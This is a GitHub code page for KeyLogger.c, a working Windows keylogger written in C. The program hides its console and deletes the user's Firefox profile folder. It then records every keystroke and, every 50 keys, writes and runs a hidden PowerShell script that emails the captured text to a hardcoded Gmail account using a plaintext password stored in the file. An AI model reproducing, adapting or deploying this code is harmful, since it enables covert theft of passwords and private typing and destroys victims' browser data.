-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathKeyLogger.c
172 lines (160 loc) · 5.06 KB
/
KeyLogger.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
#include <stdio.h>
#include <windows.h>
#include <direct.h>
#include <Winuser.h>
void clearMozillaCache()
{
char path[256]="C:\\Users\\";
strcat(path,getenv("USERNAME")); // int getlogin_r(char *buf,size_t bufsize); unistd.h
strcat(path,"\\AppData\\Roaming\\Mozilla\\Firefox\\");
char removepath[256]="";
strcat(removepath,"rmdir /Q /S "); //rm -rf
strcat(removepath,path);
system(removepath);
char createpath[256]="";
strcat(createpath,"mkdir ");
strcat(createpath,path);
system(createpath);
}
void clearChromeCache()
{
char path[256]="C:\\Users\\";
strcat(path,getenv("USERNAME"));
strcat(path,"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\");
char removepath[256]="";
strcat(removepath,"rmdir /Q /S ");
strcat(removepath,path);
system(removepath);
char createpath[256]="";
strcat(createpath,"mkdir ");
strcat(createpath,path);
system(createpath);
}
void clearBrowserCache()
{
clearMozillaCache();
//clearChromeCache();
}
void Save(char key,char* input)
{
if(key==8)
strcat(input,"[BackSpace]");
else if(key==13)
strcat(input,"\n");
else if(key==32)
strcat(input," ");
else if(key==VK_TAB)
strcat(input,"[TAB]");
else if(key==VK_SHIFT)
strcat(input,"[SHIFT]");
else if(key==VK_CONTROL)
strcat(input,"[CONTROL]");
else if(key==VK_ESCAPE)
strcat(input,"[ESCAPE]");
else if(key==VK_END)
strcat(input,"[END]");
else if(key==VK_LEFT)
strcat(input,"[LEFT]");
else if(key==VK_RIGHT)
strcat(input,"[RIGHT]");
else if(key==VK_UP)
strcat(input,"[UP]");
else if(key==VK_DOWN)
strcat(input,"[DOWN]");
else if(key==VK_LEFT)
strcat(input,"[LEFT]");
else if(key==VK_RBUTTON)
strcat(input,"[RBUTTON]");
else if(key==VK_LBUTTON)
strcat(input,"[LBUTTON]");
else if(key==VK_OEM_PERIOD)
strcat(input,".");
else
{
char temp[2]="";
temp[0]=key;
temp[1]='\0';
strcat(input,temp);
}
}
void sentMail(char* input) //Debian-sudo apt-get install -y powershell CentOs-sudo yum install -y powershell OpenSUSE-sudo zypper install powershell Fedora-sudo dnf install -y powershell
{
FILE *fp=fopen("KeyLogger.ps1","ab+");
fprintf(fp,"$Myemail=\"8ballpoolnikos@gmail.com\"\n");
fprintf(fp,"$Mypass=\"8ballpool\"\n");
fprintf(fp,"$SMTP=\"smtp.gmail.com\"\n");
fprintf(fp,"$to=\"8ballpoolnikos@gmail.com\"\n");
fprintf(fp,"$Subject=\"KEYLOGGER\"\n");
fprintf(fp,"$Body=\"%s\"\n",input);
fprintf(fp,"$SecurePassword=Convertto-SecureString -String $Mypass -AsPlainText -force\n");
fprintf(fp,"$MyCredentials=New-object System.Management.Automation.PSCredential $MyEmail,$SecurePassword\n");
fprintf(fp,"Send-MailMessage -To $to -From $Myemail -Subject $Subject -Body $Body -SmtpServer $SMTP -Credential $MyCredentials -UseSSL -Port 587 -DeliveryNotificationOption never\n");
fclose(fp);
char *syscall=(char*)malloc(100*sizeof(char));
syscall[0]='\0';
strcat(syscall,"PowerShell.exe -windowstyle hidden \"");
char *curpath;
curpath=_getcwd(NULL,0);
strcat(syscall,curpath);
strcat(syscall,"\\KeyLogger.ps1\"");
system(syscall);
remove("KeyLogger.ps1");
}
DWORD WINAPI ThreadFunc(void *data) //void *ThreadFunc(void *vargp)
{
char* threadinput=(char*)malloc(1100*sizeof(char));
threadinput[0]='\0';
FILE *fp=fopen("Temp.txt","r");
while(fgets(threadinput,1100,fp)!=NULL);
printf("input:%s\n",threadinput);
fclose(fp);
remove("Temp.txt");
sentMail(threadinput);
free(threadinput);
return 0;
}
int main(void)
{
FreeConsole();
clearBrowserCache();
int counter=0;
char* input=(char*)malloc(1100*sizeof(char));
input[0]='\0';
// SYSTEMTIME time;
// GetSystemTime(&time); //gettimeofday()
// SYSTEMTIME endtime;
// int flag=0;
while(1)
{
for(char i=8;i<=190;i++)
{
// GetSystemTime(&endtime);
// if(endtime.wSecond-time.wSecond>30 || time.wSecond-endtime.wSecond>30)
// {
// printf("\n%d\n",endtime.wSecond-time.wSecond);
// time=endtime;
// flag=1;
// }
if(GetAsyncKeyState(i) == -32767)
{
counter++;
Save(i,input);
if(counter>50)
{
//flag=0;
FILE *fp=fopen("Temp.txt","ab+");
fprintf(fp,"%s",input);
fclose(fp);
HANDLE thread = CreateThread(NULL,0,ThreadFunc,NULL,0,NULL);
// Linux Threads-include <pthread.h>
//pthread_t thread_id
//pthread_create(&thread_id,NULL,ThreadFunc,NULL);
counter=0;
free(input);
input=(char*) malloc(1100*sizeof(char));
input[0]='\0';
}
}
}
}
}